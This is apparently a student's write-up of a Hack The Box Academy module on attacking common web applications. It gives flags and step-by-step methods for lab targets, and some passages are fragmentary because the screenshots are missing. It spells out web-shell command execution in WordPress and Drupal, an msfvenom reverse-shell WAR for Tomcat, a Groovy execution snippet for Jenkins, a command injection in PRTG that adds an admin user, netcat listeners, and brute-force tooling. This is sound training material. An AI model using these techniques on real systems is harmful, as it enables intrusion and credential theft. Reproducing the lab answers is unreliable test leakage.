Attacking Common Applications PDF
Attacking Common Applications PDF
Link to challenge:
https://academy.hackthebox.com/module/113
(log in required)
Class: Tier II | Medium | Offensive
Note: throughout the module we will need to configure our pwnbox /etc/hosts
File by adding the line:
[target machine IP] [required vhosts]
For example:
We get the answer on the right – ‘ew.db’, the file created from the EyeWitness
run.
Question: What does the header on the title page say when opening the
aquatone_report.html page with a web browser? (Format: 3 words, case
sensitive)
Answer: Pages by Similarity
Method: first, we install aquatone with the command
wget
https://github.com/michenriksen/aquatone/releases/download/v
1.7.0/aquatone_linux_amd64_1.7.0.zip
then unzip it with the command
unzip aquatone_linux_amd64_1.7.0.zip
after that when running ‘ls’ we should have a file called ‘aquatone’:
Now we need web_discovery.xml file to run the aquatone on.
For that we will run the following nmap command:
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA
web_discovery 127.0.0.1
this will scan the localhost and output the results to a file called
web_discovery.xml.
now, before we run aquatone, we need to install chrome (it is not in the formal
guide, but for me running aquatone without it resulted with error).
We will do it with the following commands (for Ubuntu/Debian):
wget https://dl.google.com/linux/direct/google-chrome-
stable_current_amd64.deb
sudo dpkg -i google-chrome-stable_current_amd64.deb
sudo apt-get install -f
after that it should do well.
Next, we run the command:
cat web_discovery.xml | ./aquatone -nmap
to run aquatone on the web_discovery.xml (our nmap output):
copy the full path on the URL and get the result:
Content Management Systems (CMS):
WordPress - Discovery & Enumeration:
Question: Enumerate the host and find a flag.txt flag in an accessible directory.
Answer: 0ptions_ind3xeS_ftw!
Method: first, we will do the ‘initial configuration’ on vhost
‘blog.inlanefreight.local’.
When it’s done, we will have to run enumeration on the website files.
For that purpose, we will use a tool called ‘dirbuster’.
we install ‘dirbuster’ directly from GitHub repository with the command:
git clone
https://gitlab.com/kalilinux/packages/dirbuster.git
after ‘dirbuster’ is install – we will have the installed directory in our home
directory:
We will ‘cd’ our way inside, and run the .sh file:
After several moments – the results list with possible paths start to fill in: it will
be easier to examine it via Tree view:
On tree view, we will have to open several directory until we reach ‘flag.txt’ file:
(the lack of search option in ‘dirbuster’ is annoying here, for future purpose a
new tool might be considered to use instead of ‘dirbuster’..)
Once we get to flag.txt, we right click it and select ‘Open In Browser’:
Then you will see ‘Powered by “WP Sitemap Page”, hovering it will reveal
‘/plugins/wp-sitemap-page’ path, determining it is a plugin.
Method 2:
Run
curl -s http://blog.inlanefreight.local/?p=1 | grep plugin
the desired plugin would be displayed along with other plugins.
Question: Find the version number of this plugin. (i.e., 4.5.2)
Answer: 1.6.4
Method: after the wp-sitemap-page was found, we will go to
‘http://blog.inlanefreight.local/wp-content/plugins/wp-sitemap-
page/readme.txt’ path to examine to corsponding readme. The first part of the
path (/wp-content/plugins/) of course should be familiar as it was shown
during the ‘dirbuster’ execution (tree view):
When we get to the readme, we will look for the ‘Stable tag’ field:
Attacking WordPress:
Question: Perform user enumeration against http://blog.inlanefreight.local.
Aside from admin, what is the other user present?
Answer: doug
Method: we will use the tool wpscan for this purpose.
First – we need an API token: that can be obtain from ‘https://wpscan.com/’.
All we have to do is register, confirm email, login and claim the provided token
for our made user.
Then – we will use the command:
sudo wpscan --url http://blog.inlanefreight.local --
enumerate --api-token <api-token-value>
it is recommended to redirect the output report to some output file as we have
limited use of api-calls:
sudo wpscan --url http://blog.inlanefreight.local --
enumerate --api-token <api-token-value> > output_file
when the scan is complete, we will search for the user sections within the
report:
Question: Using the methods shown in this section, find another system user
whose login shell is set to /bin/bash.
Answer: webadmin
Method: we shall use the recently obtained Doug credentials, login to Doug
using the obtained password from last question, (then the website will ask if
the email if correct, so we can confirm it and the website will process with the
login). after that we going to reach Doug dashboard:
On the left side there is a menu, click on ‘Appearance’ and then ‘Theme Editor’:
In Theme Editor page we can use Doug account to edit server side php code.
Once on Theme Editor, we going to select the theme “Twenty Nineteen”:
The reason we select the “Twenty Nineteen” theme, is that the ‘Business
Gravity theme is the active used theme, and often we would like to make our
modification on inactive theme. In this guide we follow the module example
and modify the 404.php page, but the principal should be the same on (almost)
any page.
After we select “Twenty Nineteen” theme – we select the 404 Template:
The command above allows us to run shell on the server side with the
parameter 0. It can be done either with ‘curl’ command, or the web interface,
in this guide we shall cover both methods:
web interface:
we enter to the browser this url:
http://blog.inlanefreight.local/wp-
content/themes/twentynineteen/404.php?0=id
Of course, the ‘we-content/themes’ is the path our themes are stored, and
404.php is within the ‘twentynineteen’ theme.
The ?0=id is our parameter, where ‘0’ is the value we injected to the server side
as the corrupted parameter, and ‘id’ is the test command value.
In the picture above we see it works, but ‘id’ is not the command we need to
get the other user with /bin/bash shell. Now, we need another command,
which would be:
cat /etc/passwd | grep bash
now for the url, with the encoding of space (‘ ‘) to ascii (‘%20’) (space value is
hexadecimal 20 in ascii):
http://blog.inlanefreight.local/wp-
content/themes/twentynineteen/404.php?0=cat%20/etc/passwd%20
|%20grep%20bash
(Note, it worked for me even without the URL encoding but entering it plainly
as:
http://blog.inlanefreight.local/wp-
content/themes/twentynineteen/404.php?0=cat /etc/passwd |
grep bash
, but the encoding is always a good practice)
We get this:
It worked.
Question: Following the steps in this section, obtain code execution on the host
and submit the contents of the flag.txt file in the webroot.
Answer: l00k_ma_unAuth_rc3!
Method: method 1: we use the exploit from last question: first, we run ‘pwd’
so we know where we are with the command:
curl "http://blog.inlanefreight.local/wp-
content/themes/twentynineteen/404.php?0=pwd"
We see an interesting looking flag file, lets confirm its readable for anyone with
‘ls -l flag...txt’ command:
curl "http://blog.inlanefreight.local/wp-
content/themes/twentynineteen/404.php?0=ls%20-
l%20/var/www/blog.inlanefreight.local/flag_d8e8fca2dc0f896fd
7cb4cb0031ba249.txt"
yes, it is: (r is displayed for all user classes, r is for read permissions)
Now all we have to do is get the flag content with ‘cat’ command:
curl "http://blog.inlanefreight.local/wp-
content/themes/twentynineteen/404.php?0=cat%20/var/www/blog.
inlanefreight.local/flag_d8e8fca2dc0f896fd7cb4cb0031ba249.tx
t"
Pay attention that the juma specified version is 3.10.0 (NOT to be confused
with the xml formatting version of 3.6 (extension schema))
*
Question: Find the password for the admin user on
http://app.inlanefreight.local
Answer: turnkey
Method: we install the Joomla-bruteforce tool with the command:
git clone https://github.com/ajnik/joomla-bruteforce.git
when done, we go to the git directory (with ‘cd Joomla-bruteforce’ command)
and then run the tool with the command:
sudo python3 joomla-brute.py -u
http://dev.inlanefreight.local -w /usr/share/metasploit-
framework/data/wordlists/http_default_pass.txt -usr admin
we basically run bruteforce on the admin user from ‘http_default_pass.txt’
wordlist:
Attacking Joomla:
Question: Leverage the directory traversal vulnerability to find a flag in the web
root of the http://dev.inlanefreight.local/ Joomla application
Answer: j00mla_c0re_d1rtrav3rsal!
Method: first, we will do the ‘initial configuration’ on vhost
‘dev.inlanefreight.local’. then , there are 2 methods to proceed with the attack:
Method 1: we will use the server-side interface to obtain shell. (similar to how
we obtained shell on the Webpress section), for more extensive details about
how the method is used to exploit web server, it is recommented to refer to
the last 2 question of the section ‘Attacking Wordpress’, which in principal are
parallel to this question.
*note – this method is not the instructed method to obtain the flag, but I will
present it nonetheless:
First we will go to
http://dev.inlanefreight.local/administrator/
in the browser URL:
The credentials we will enter are: admin:admin (the credentials are provided to
us by the module guide), then – we log in.
Upon login we see this interface:
Attacking Drupal:
Question: Work through all of the examples in this section and gain RCE
multiple ways via the various Drupal instances on the target host. When you
are done, submit the contents of the flag.txt file in the
/var/www/drupal.inlanefreight.local directory.
Answer: DrUp@l_drUp@l_3veryWh3Re!
Method: first, we will do the ‘initial configuration’ on the vhosts ‘drupal-
dev.inlanefreight.local’ and ‘drupal-qa.inlanefreight.local’.
Then – got to
http://drupal-qa.inlanefreight.local/
Success, a new user called ‘hacker’ was created with the password ‘pwnd’.
Lets login with the obtained credentials:
And we make sure PHP code text format is enabled for administrator:
And save.
We can observe after clicking ‘save’, we were redirected to a new page:
Now we can have shell via the php page. We will use the curl method just like
previous CMSs.
We will begin with ‘pwd’ to see where we are with the command:
curl -s http://drupal-
qa.inlanefreight.local/node/4?maliciousparameter=pwd | grep
encoded
the reason the grep is necessary here, is because in here the output is the
entire html content of the page, and not just the desired output:
We can observe that the pwd value is ‘/var/www/drupal-qa.inlanefreight.local’
while we need the path ‘/var/www/drupal.inlanefreight.local’.
For that we will run the command:
curl -s "http://drupal-
qa.inlanefreight.local/node/4?maliciousparameter=ls%20../dru
pal.inlanefreight.local"
After a bit of search, we can find the flag within the output:
Now all we have to do is the cat the flag value with the command:
curl -s "http://drupal-
qa.inlanefreight.local/node/4?maliciousparameter=cat%20../dr
upal.inlanefreight.local/flag_6470e394cbf6dab6a91682cc858505
9b.txt"
*note – filtering didn’t work for me, so a search within the entire output is
required, but it wont take long.
Servlet Containers/Software Development:
Tomcat - Discovery & Enumeration:
Question: What version of Tomcat is running on the application located at
http://web01.inlanefreight.local:8180?
Answer: 10.0.10
Method: first, we will do the ‘initial configuration’ on the vhosts ‘app-
dev.inlanefreight.local’ and ‘web01.inlanefreight.local’.
Then, on browser to enter the URL:
http://web01.inlanefreight.local:8180/docs/
and immediately the answer shall be revealed:
*not always the tomcat service would be so obvious, we can also use
‘EyeWitness’ (the tool from the first section) to determine the website is
indeed powered by tomcat.
Question: What role does the admin user have in the configuration example?
Answer: admin-gui
Method: scan the URL with dirbuster (instructions how to install it were give in
previous section, refer there by searching ‘dirbuster’), you will find the path
‘manager/html’:
Then run
curl http://web01.inlanefreight.local:8180/manager/html |
grep role
we will get the following result:
*when running the command without grep, or entering the URL in the browser,
we will find out that there are only 2 roles: ‘admin-gui’ and ‘admin-script’.
The role mentioned is for the user ‘tomcat’ currently, i could not get to the role
of ‘admin’. *
Attacking Tomcat:
Question: Perform a login bruteforcing attack against Tomcat manager at
http://web01.inlanefreight.local:8180. What is the valid username?
Answer: tomcat
Method: first, we will do the ‘initial configuration’ on vhost
‘web01.inlanefreight.local’.
Then, we going to use a Metasploit to bruteforce the Tomcat system:
First, we open Metasploit with ‘msfconsole’ command.
When it is done, we select ‘scanner/http/tomcat_mgr_login’ with:
use scanner/http/tomcat_mgr_login
then we set the parameters:
set VHOST web01.inlanefreight.local
set RPORT 8180
set stop_on_success true
set rhosts <target machine’s IP>
We confirm with ‘show options’ that all parameters are set properly, and then
hit ‘run’ to begin the bruteforce, after several second, we will hit a login:
Question: What is the password?
Answer: root
Method: the password was obtained via the bruteforce on the question above:
Where the different running application on the web-server are displayed for us
(with different operations we can run on any on them).
And where we can deploy new applications:
As WAR (Web Archive) files.
So what we need to do is to create deploy a WAR file that provides us a shell.
*In the sections there are 2 possible methods to proceed – creating a web
shell, or netcat shell. In this guide we choose the later, as the web shell find
operation didn’t work.
For that we will use msfvenom to generate malicious
java/jsp_shell_reverse_tcp payload as WAR file, for that we will use the
command:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<pwnbox IP>
LPORT=<listening port> -f war > backup.war
after several seconds, we will get the output:
The next step is to deploy the file on the web application manager, for that on
WAR file to deploy, we select browse:
Then we go to home directory (or wherever else we have saved the file):
Once selected, we select deploy:
Once uploaded, we can confirm its existence on the running aplications, and its
running value is set to ‘true’:
Where the URL is ‘/backup’, that means that is our client connection.
When we have the client connection, we will observe that on the terminal:
Once we have the shell via netcat, we will run the command:
find / -type f -name tomcat_flag.txt 2>/dev/null
the command will search for the tomcat_flag.txt, while disregarding error,
when found – it will display the path where the flag is found
*note: the command works only on the netcat shell, not on the webshell.
Once we know the path, all we have to do is to cat the path (in this shell it
might be required to stop it and start another session because ctrl+c wont stop
the search but the entire netcat session),
We will use the command
cat /opt/tomcat/apache-tomcat-
10.0.10/webapps/tomcat_flag.txt
Jenkins - Discovery & Enumeration:
Question: Log in to the Jenkins instance at
http://jenkins.inlanefreight.local:8000. Browse around and submit the version
number when you are ready to move on.
Answer: 2.303.1
Method: first, we will do the ‘initial configuration’ on vhost
‘jenkins.inlanefreight.local’.
When done, go in browser to
http://jenkins.inlanefreight.local:8000
you will reach a login page:
While this method is signifyingly shorter, the first method is useful for further
exploration of various dependencies the website uses.
Attacking Jenkins:
Question: Attack the Jenkins target and gain remote code execution. Submit
the contents of the flag.txt file in the /var/lib/jenkins3 directory
Answer: f33ling_gr00000vy!
Method: first, login to the website with the same credentials as the previous
question:
From here, we will use the ‘script console’ to run ‘Apache Groovy’ scripts, For
that we will enter the url path ‘/script’ for the script console:
We will use this chain of commands to obtain the information we need:
def cmd = '<my-command>'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
for example:
We can observe that port 8000 is open – the default port for splunk, and the
service running on it is ssl/http (https). We also pay attention for that the
Splunk is running on Windows OS.
So we enter in the browser the URL
https://<target-IP>:8000
and it takes us to a warning page:
Select ‘Advance’ and then ‘Accept the Risk and Continue’.
Then we get to the home page (dashboard) – in it select in the top right ‘Help’
and then ‘About’:
we need to enter the pwnbox IP and port 443 (https) where requested:
Then, we will use this command:
tar -cvzf updater.tar.gz reverse_shell_splunk/
to compress with gzip the content of ‘reverse_shell_splunk/’ directory
(recursively) to an output file ‘updater.tar.gz’:
next, on the splunk dashboard, we go to the apps section by clicking the cog:
Insert the tar.gz file created earlier, but don’t upload yet.
First, we will initiate netcat listener, on port 443 (https) with the command:
sudo nc -lnvp 443
(the sudo is of course required as 443 is privileged port)
When shell obtained, we run ‘pwd’ to determine our current location within
the target machine:
Ok it says ‘C:\Windows\system32’ so we need to go back twice, then cd to loot.
Then, we locate and get the flag content:
PRTG Network Monitor:
Question: What version of PRTG is running on the target?
Answer: 18.1.37.13946
Method: first we run nmap scan on the target, output the results to xml file
With the command:
sudo nmap -sV -p- --open -T4 -oA web_discovery <target-IP>
There are plenty of ports which are open. And the machine OS is Windows.
We will focus on port 8080 – the PRTG service which is running on the port.
Next, we will use ‘EyeWitness’ to analyze the output xml with the same
command we used in ‘EyeWitness’ section:
eyewitness --web -x web_discovery.xml -d
inlanefreight_eyewitness
on the report output, on port 8080 we can observe the service version is
displayed
Question: Attack the PRTG target and gain remote code execution. Submit the
contents of the flag.txt file on the administrator Desktop.
Answer: WhOs3_m0nit0ring_wH0
Method: for this part we will need the login credentials which are provided for
us by the section: prtgadmin:Password123
From here we will work the solution based on this CVE report and this
We will login with the credentials and get to the main dashboard:
Next, we go to account settings - notification
We select
Demo exe notification - outfile.ps1
For Program File, And
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net
localgroup administrators prtgadm1 /add
for Parameters, then we Save:
basically we create a user with admin privileges whose username is ‘prtgadm1’
and password is ‘Pwn3d_by_PRTG!’
Looking back at the notifications page – we can confirm the ‘pwn’ indeed
added:
Select it, and then on the right select the bell – ‘Send test notifications’:
We select ok.
When done, we run in our terminal the command to confirm user creation:
sudo crackmapexec smb <target-IP> -u prtgadm1 -p
Pwn3d_by_PRTG!
We got ourselves to the smb server, and with ‘pwd’ command we got our
current location.
Based on Windows file system (no need to full detail the path) – we get the flag
to our own machine. We use the command:
get Users\Administrator\Desktop\flag.txt
Now on our own pwnbox machine, we run ‘ls’ to confirm flag existence:
*Note: I aided here with the guide in the beginning of the question.
And here are other sources good for generating reverse shall in various
methods: source1 and source2
Customer Service Mgmt & Configuration
Management:
osTicket:
Question: Find your way into the osTicket instance and submit the password
sent from the Customer Support Agent to the customer Charles Smithson .
Answer: Inlane_welcome!
Method: first, we will do the ‘initial configuration’ on vhost
‘support.inlanefreight.local’.
We see he has a single ticket ‘VPN password reset’ under his name.
When opening it, scroll down and you will find the answer:
Gitlab - Discovery & Enumeration:
Question: Enumerate the GitLab instance at http://gitlab.inlanefreight.local.
What is the version number?
Answer: 13.10.2
Method: first, we will do the ‘initial configuration’ on vhost
‘gitlab.inlanefreight.local’.
Then we enter the URL in the browser, it immediately takes us to sign-in:
the first place we will look is help at the bottom of the page:
When done, we will go to the dashboard of our fresh created user, now it
would be a good time to re-visit help:
→
Question: Find the PostgreSQL database password in the example project.
Answer: postgres
Method: go to main dashboard, scroll down a bit and select explore projects:
As we look down
The phpunit_pgsql.xml file looks interesting:
(root is the default admin username ofcourse, not the username we seek)
Question: Gain remote code execution on the GitLab instance. Submit the flag
in the directory you land in.
Answer: s3cure_y0ur_Rep0s!
Method: for that we will use this vulnerability which allows RCE on gitlab
version smaller than 13.10.3, and this python exploit of the vulnerability.
So first we create a file called ‘gitlab_13_10_2_rce.py’ and put the python
script in it.
Then, we run netcat listener for a reverse shell with the command:
nc -lnvp 4444
The relevant finding for our needs is Apache Tomcat 9.0.17 running on port
8080, running of Windows machine.
Now we will base our attack on this CVE-2019-0232 vulnerability, which allows
RCE on Apache tomcat up to version 9.0.17 with CGI (Common Gateway
Interface, protocol for web servers to execute external programs)
For that we will run ffuf web enumation tool, targeting /cgi/FUZZ.cmd
(targeting the default directory of CGI with fuzzing attack:
ffuf -w /usr/share/dirb/wordlists/common.txt -u
http://<target-IP>:8080/cgi/FUZZ.bat | grep 200
the results we filtering for http status code 200 (SUCSESS)
now lets enter
http://<target-IP>:8080/cgi/welcome.bat
in the browser URL:
No output:
We run the command set – someone removed the ‘PATH’ environment
variable, required for many of the default cmd exe such as ‘whoami’.
So, we need to enter the whoami.exe path manually to the URL:
Not working, the URL cant encode the character ‘:’ , ‘\’.
We will convert the characters to its URL encoding based on their ASCII value:
‘:’ to %3A, and ’\’ to ‘5C’
*from asciitable
The end result:
http://<target-IP>:8080/cgi/welcome.bat?
&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
Attacking Common Gateway Interface (CGI) Applications - Shellshock:
Question: Enumerate the host, exploit the Shellshock vulnerability, and submit
the contents of the flag.txt file located on the server.
Answer: Sh3ll_Sh0cK_123
Method: this method is also used by exploiting the CGI system, this time with
‘shellshock’ CVE-2014-6271 vulnerability, which by using environment variable,
may execute unintentional commands.
For that, we will first run gobuster path enumation with this command:
gobuster dir -u http://<target-IP>/cgi-bin/ -w
/usr/share/wordlists/dirb/small.txt -x cgi
we get this result:
We got shell!
From here obtaining the flag is simply a matter of ‘ls’ and ‘cat’:
Thick Client Applications:
Attacking Thick Client Applications:
Question: Perform an analysis of C:\Apps\Restart-OracleService.exe and
identify the credentials hidden within its source code. Submit the answer using
the format username:password.
Answer: svc_oracle:#oracle_s3rV1c3!2010
Method: we will login to the windows machine with this rdp command:
xfreerdp /u:cybervaca /p:'&aue%C)}6g-d{w' /v:<Target IP>
/dynamic-resolution
The program itself didn’t display any ouput, lets see the process monitor
analysis:
There seem to be activity in this ‘Temp\2’, we will open the folder path (don’t
forget to enable ‘view hidden items’):
Except a single file (which does not appear with the process monitor activity,
there is nothing – it seems the files are deleted at the end of the process
execution.
We have to run the program again, but this time, we will disable content
deletion from the folder first.
This is how it is done:
And after we run the program again, we get these files within the ‘Temp\2’
path:
The ‘F9A.tmp’ is an empty file, lets check the ‘FTA.bat’ batch file, we will right
click it and select ‘edit’:
There are operations committed upon those files, and then they are deleted.
We will remove the del commands, and re-run the .bat file:
We read the oracle.txt, decode it from base64 and write the output to restart-
service.exe.
We need the restart-service.exe, lets run the powershell script:
*I had to open PowerShell as administrator for it to run, not sure why I didn’t
linger on it*
We got this executable as output:
So, it will display the restart-service.exe and won’t display the original process.
Let’s run the restart-service.exe:
The inspection of process monitor didn’t show anything interesting.
Lets inspect the process with ‘x64dbg’:
*
We will dump the memory section to file:
Let’s run strings64.exe on the file we just saved:
All we have left to do is to get the username from line 10, and the password it’s
easy to see it’s the text variable in line 13, appended char by char to the
password field in line 20.
Exploiting Web Vulnerabilities in Thick-Client Applications:
Question: What is the IP address of the eth0 interface under the ServerStatus
→ Ipconfig tab in the fatty-client application?
Answer: 172.28.0.3
Method: we will login to the windows machine with this rdp command:
xfreerdp /u:cybervaca /p:'&aue%C)}6g-d{w' /v:<Target IP>
/dynamic-resolution
when the windows machine is up – we will go to the path ‘C:\Apps’:
Now, when opening the application with double click, entering the provided
credentials from the note above and attempting to login, we get connection
error:
Lets try to connect again, but this time with Wireshark on:
But which interface we select?
We determine that with ‘ipconfig’:
Ethernet0 is the interface of the linking between the target windows machine
and the pwnbox machine I use to connect to it, so the relevant interface for our
case is Ethernet1, so that is the interface we select, then, we attempting to re-
login:
This is the Wireshark traffic generated from the re-login attempt – we attempt
to connect with tcp to port 8000 of the server (172.16.17.114) but to no avail.
So we try again 2 more times, for vain.
We need to reconfigure the fatty-client to attempt to connect to port 1337 and
not port 8000 (as 1337 is the server port as we were informed by the section)
Well as fatty-client is a jar file, we can extract it:
When the files are extracted, we need to locate the port modification area,
We will use PowerShell to determine:
ls -recurse | Select-String "8000"
Now we need to re-sign the .jar, for that we will go to META-INF folder,
And 1. Delete the ‘1.RSA’ and ‘1.SF’ files
2. in ‘MANIFEST.MF’ file keep:
Remove everything below ‘Main-Class’ (with the new line!, meaning don’t
forget keep a new line after the ‘Main-Class’ field)
→
Now lets open it, and enter the same credentials from the last time:
We opened the notes, and at the bottom of the page we may type files we
want to open, we entered ‘security.txt’:
Which tells us that the all other users but ‘qtc’ were removed from the
database, and heavy time SQL injection attacks are no longer possible, which
might imply that light time SQL injection attacks are possible.
Attemping to do path traversal result with problem with parsing ‘/’:
We will use JD-GUI (Java Decompiler) to fix that, we have one already in the
‘TOOLS’ folder:
And we save the source code with ‘File’ → ’Save All Sources’:
within the file there are there are the various functions of the commands on
the application, for our purpose we need the ‘showFiles’ method:
The function takes a string and adds it as argument, then it invokes the
‘sendAndRecv()’ which sends the data to the server.
Then we open ‘ClientGuiTest.java’
And go to ‘addActionListener’:
Which invokes the call to ‘showFiles’. Within the addActionListener – we
modify ‘configs’ to ‘..’ in lines 372 and 374:
Now the procedure above i did in separate environment (the ‘Source code’
folder) folder, so before we recompile ‘fatty-client-new.jar’ we need to replace
the original ‘ClientGuiTest.java’ with the modified one from ‘Source code’
folder:
Attacking ColdFusion:
Question: What user is ColdFusion running as?
Answer: arctic\tolis
Method: First, lets determine the ColdFusion version:
We will use nmap for that:
nmap -p 1-10000 -Pn <target-IP> --open
we get this:
There are several options, we can observe that there is Directory traversal for
all versions, and Remote command execution for our version.
Lets take the 2nd option.
The vulnerability the ‘searchploit’ found is CVE-2009-2265 – on the Path
column in the picture above, we can see its path is 50057.py. and that we shall
search:
searchsploit -p 50057
The URL displayed can be accessed here. And the python script in the URL field
and Code field is identical.
The attacker and target parameters are hard coded in the main function:
Select no.
We can observer that ‘TRANSF~1’ is a possible .asp IIS, so we will look for
‘transf’.
Now for gobuster, first we will create a wordlist with the command:
egrep -r ^transf /usr/share/wordlists/ | sed 's/^[^:]*://' >
/tmp/list.txt
let’s analyse the command before we proceed.
Beforehand – detailed explanation from the module’s section:
Now, the command takes all the words in all the files (in recursive manner (-r))
in ‘/usr/share/wordlists/’ directory – that begins with ‘transf’ (‘^’ symbol is
regex for string that begins with the provided substring – in our case – ‘transf’,
so words like transform, transport... will be picked by the ‘egrep’ command)
And will be picked with the file which includes them - for example running the
egrep alone on the word ‘transformers’ found on the file ‘rockyou.txt’ will yield
the output:
we don’t want to include the files paths themselves, so that’s where ‘sed’ file
content manipulation tool comes in: the sed command uses regex to effectively
remove all the substrings up until the colon(including the colon) – the
remaining the output name itself.
All of this would be directed to the output wordlist ‘/tmp/list.txt’
Now that we have the output – time to use the gobuster, we will use the
command:
gobuster dir -u http://<target-IP>/ -w /tmp/list.txt -x
.aspx,.asp
looking for paths with the extensions ‘.aspx’, ‘.asp’:
Attacking LDAP:
Question: After bypassing the login, what is the website "Powered by"?
Answer: w3.css
Method: first, we run nmap port scanner with the command:
nmap -p 1-10000 -sV -sC --open <target-IP>
to scan ports 1-10000 (with -sV default script for more information)
we have ldap - port 389 open. The ldap version is 2.2.X to 2.3.X
we also have http - port 80 open.
Lets try to enter the url
http://<target-IP>
to the browser:
Now as it is ldap machine, lets try to do ldap injection with asterisk wildcard:
login..
We got to the main page, with the powered by value right in front of us.
Web Mass Assignment Vulnerabilities:
Question: We placed the source code of the application we just covered at
/opt/asset-manager/app.py inside this exercise's target, but we changed the
crucial parameter's name. SSH into the target, view the source code and enter
the parameter name that needs to be manipulated to log in to the Asset
Manager web application.
Answer: active
Method: connect to the target machine via ssh, we are provided with the
credentials root:!x4;EW[ZLwmDx?=w with the command:
ssh root@<target-IP>
then we cat for ‘/opt/asset-manager/app.py’, the function we need is ‘register’:
We can observe that if the request parameter ‘active’ exists – the function sets
the variable ‘cond’ to true, else (or more specifically the error that the lack of
such assignment would generate, but the ‘except’ deals with) – ‘cond’ would
be set to false.
That ‘cond’ is being stored along with the registered credentials in the
database.
Now the login function:
We can observe that the stored ‘cond’ value in the register function –
corresponds to the assigned ‘k’ value in the login function.
If ‘k’ is true – approve login. Else – the account is still pending for admin
approval.
Attacking Applications Connecting to Services:
Question: What credentials were found for the local database instance while
debugging the octopus_checker binary?
Answer: SA:N0tS3cr3t!
Method: connect to the target machine via ssh, we are provided with the
credentials htb-student: HTB_@cademy_stdnt! with the command:
ssh htb-student@<target-IP>
when connected – running ls:
Will reveal a file called ‘octopus_checker’ and a directory called ‘peda’ – python
exploit development assistance for ‘gdb’ – a debugging tool for mostly C and
C++ based executables.
Then we run ‘file’ command on the ‘octopus_checker’ – we can observe it is
and ELF based executable.
Usually we would analyze the executable with static tools first (like strings and
decompiler and such), but as our challenge involved gdb – we would directly
run gdb on ‘octopus_checker’:
gdb ./octopus_checker
And run:
Also this CVE-2020-14882 exploit didn’t work (even though it uses the correct
vulnerability, maybe I just didn’t successes to utilize it correctly to get
RCE/shell.. also this didn’t work for me. These exploits are using of injecting
commands via the URL, so I also tried that manually – didn’t work either.
The succussing approach is using this Metasploit exploit of CVE-2020-14882 to
get reverse shell.
Let’s cover the method further, first – we run ‘gobuster’ on the target machine
on port 7001
gobuster dir -u http://<target-IP>:7001 -w
/usr/share/wordlists/dirb/small.txt
We see the version is 12.2.1.3.0 (a bit different than the nmap recognized
12.2.1.3)
now that we know the exact version, we know the vulnerability to look for.
That would be CVE-2020-14882 vulnerability, which exploits misconfiguration
on the path (allows path traversal backward and with it run commands).
We will use this Metasploit exploit of the vulnerability.
This exploit does not comes built in on the provided pwnbox machine, we need
to install it.
First – create a file called ‘exploit.rb’, and paste the Metasploit exploit content
into it (or use echo if it works, I prefer to use ‘nano’ editor). When its done, the
next objective is to install the module on Metasploit.
The sequence of commands to install the Metasploit module on the machine’s
Metasploit (#the information between the # # are notes #):
sudo mkdir -p /usr/share/metasploit-
framework/modules/exploits/multi/http/
# -p flag is to create the directory if it doesn’t exists,
it will also create parents directory if required. #
it will take a while and some written progress – but eventually – a shell shall be
obtained.
When it does – obtain the shell from the requested path with the command:
cat C:/Users/Administrator/Desktop/flag.txt
*note – use forward slash here, backward didn’t work for me.
Skills Assessments:
Attacking Common Applications - Skills Assessment I:
Question: What vulnerable application is running?
Answer: Tomcat
Method: we run nmap scan:
sudo nmap -sV <target-IP> -p 1-10000
Question: Exploit the application to obtain a shell and submit the contents of
the flag.txt file on the Administrator desktop.
Answer: f55763d31a8f63ec935abd07aee5d3d0
Method: we will base our attack in the same base of ‘Attacking Tomcat CGI’
section - this CVE-2019-0232 vulnerability:
To get the cmd command-injection URL – we will use the same ffuf
enumeration as last time:
ffuf -w /usr/share/dirb/wordlists/common.txt -u
http://<target-IP>:8080/cgi/FUZZ.bat | grep 200
Instead of ‘welcome’ last time – now the path to the ‘bat’ executable is cmd.
Lets test it:
There is ‘bat’ access.
Like last time, ‘pwd’ didn’t work, and neither does ‘set’:
We are immediately flooded with results, those are fake results, probably the
server is configuring to return status code 200 for any of them.
However, we can observe that they all have the same size, words, and lines.
All we have to do is to add the flag ‘-fl’ (filter lines) and put the value 923:
ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-
top1million-5000.txt -u http://<target-IP> -H "Host:
FUZZ.inlanefreight.local" -mc 200 -fl 923 -fs 0
There is a single result – that is the real result.
When on explore page – we select all and the list of the public projects are
revealed to us:
Question: What is the FQDN of the third vhost?
Answer: monitoring.inlanefreight.local
Method: in the question above we found the ‘VirtualHost’ admin project.
And 2 questions above we learned that the second vhost is ‘blog’.
Lets look for the third domain of the server – we open the project and go to
the readme:
(from above)
Question: What is the admin password to access this application?
Answer: oilaKglm7M09@CPL&^lC
Method: in GitLab project explorer, just below the ‘Virtualhost’ – there is
another project – ‘Nagios Postgresql’
Option 2 is both RCE and fit to our ‘Nagios’ version, we select it with
use 2
now, the CVE the exploit is using is CVE-2021-25297 (here is another link)
next we run
show options
as usual:
the username and ports are already set, we need to enter LHOST, RHOSTS and
password (which was obtained on last question):
set RHOSTS <target-IP>
set LHOST <attacker-IP>
set PASSWORD oilaKglm7M09@CPL&^lC
and when ready, hit ‘run’:
We got shell, but we don’t know where the flag is, so we need to run system-
wide search, with the command:
find / -path /proc -prune -o -type f -name *flag*.txt
2>/dev/null
*apparently the flag is not merely ‘flag.txt’ but <prefix>_flag.txt:
Once we found the path, we get the content with ‘cat’ command:
cat /usr/local/nagiosxi/html/admin/<prefix>_flag.txt
Attacking Common Applications - Skills Assessment III:
Question: What is the hardcoded password for the database connection in the
MultimasterAPI.dll file?
Answer: D3veL0pM3nT!
Method: Method 1: we will login to the windows machine with this rdp
command:
xfreerdp /u:Administrator /p:'xcyj8izxNVzhf4z' /v:<Target
IP> /dynamic-resolution
now that the windows machine is open – we need to find the DLL first.
Opening the file explorer:
There are a lot of binary encoded text, unreadable in ascii – but as the
password is mentioned as hard coded – I do expect to observe it as plain-text
string.
Scrolling down we do see strings section:
Some of the strings are directly displayed, and some of them are displayed with
a space between every character.
Searching “password” directly yields no result, but searching: ‘p a s s w o r d’:
Then we go to MultimasterAPI.all→
Multimaster.Controllers→ColleagueConrtroller, and we look for the connection
string.